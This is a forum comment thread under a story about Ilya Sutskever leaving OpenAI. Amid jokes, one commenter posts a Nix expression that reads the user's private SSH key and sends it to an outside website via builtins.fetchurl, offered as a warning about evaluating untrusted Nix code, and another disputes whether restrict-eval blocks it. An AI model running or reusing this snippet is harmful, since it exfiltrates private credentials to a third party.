News for hackers. Stuff that matters.
Re:Ilya Sutskever to leave OpenAI by beeboobaa3 on Tuesday May 14, 2024 @07:48PM (#40361465)
Sounds like a threat.
Re:Ilya Sutskever to leave OpenAI by johnbellone on Tuesday May 14, 2024 @08:14PM (#40361631)
When you take a shot at the king, you better not miss.
Re:Ilya Sutskever to leave OpenAI by karma_pharmer on Wednesday May 15, 2024 @12:10AM (#40363011)
Or, in this case, when you take a shot at Machiavelli.
Re:Ilya Sutskever to leave OpenAI by CyberShadow on Thursday May 16, 2024 @12:46PM (#40380434)
Hi, sorry for the unrelated comment. I actually wanted to reply to your comment at https://news.ycombinator.com/item?id=40208937 , but that comment was made too long ago and I can no longer reply to it directly.

In that comment, you wrote:

> It can delete your home directory or email your ssh private keys to Zimbabwe.

I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):

    let
      pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {};
    in
    builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}"
It does not need --impure or any other unusual switches to work.

Hope this helps.

Re:Ilya Sutskever to leave OpenAI by karma_pharmer on Saturday May 18, 2024 @06:25AM (#40397812)
How is that supposed to "delete my home directory"?

Also, it doesn't work:

    error: access to absolute path '/home/user/.ssh/id_rsa' is forbidden in restricted mode
Maybe you don't know about restrict-eval? All the CI for nixpkgs is done using that option, so it will never break anything. Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.

https://nixos.org/manual/nix/unstable/command-ref/conf-file....

Hope this helps.

I don't think it did. I'm not sure what it was supposed to help with.

Re:Ilya Sutskever to leave OpenAI by CyberShadow on Wednesday May 22, 2024 @02:26AM (#40437898)
> How is that supposed to "delete my home directory"?

Ah, I over-quoted that part. My mistake.

> Also, it doesn't work:

It will work with the default Nix settings.

> Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.

One would need to first turn it on to be able to turn it off.

> https://nixos.org/manual/nix/unstable/command-ref/conf-file....

Indeed, note the default value.

> I don't think it did. I'm not sure what it was supposed to help with.

I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.

Re:Ilya Sutskever to leave OpenAI by tjpnz on Wednesday May 15, 2024 @12:37AM (#40363151)
Lest you find yourself in a private jet careening into the ground.
Re:Ilya Sutskever to leave OpenAI by beeboobaa3 on Wednesday May 15, 2024 @08:24AM (#40365980)
When you take a shot at the king, you get reported to the police and go to jail.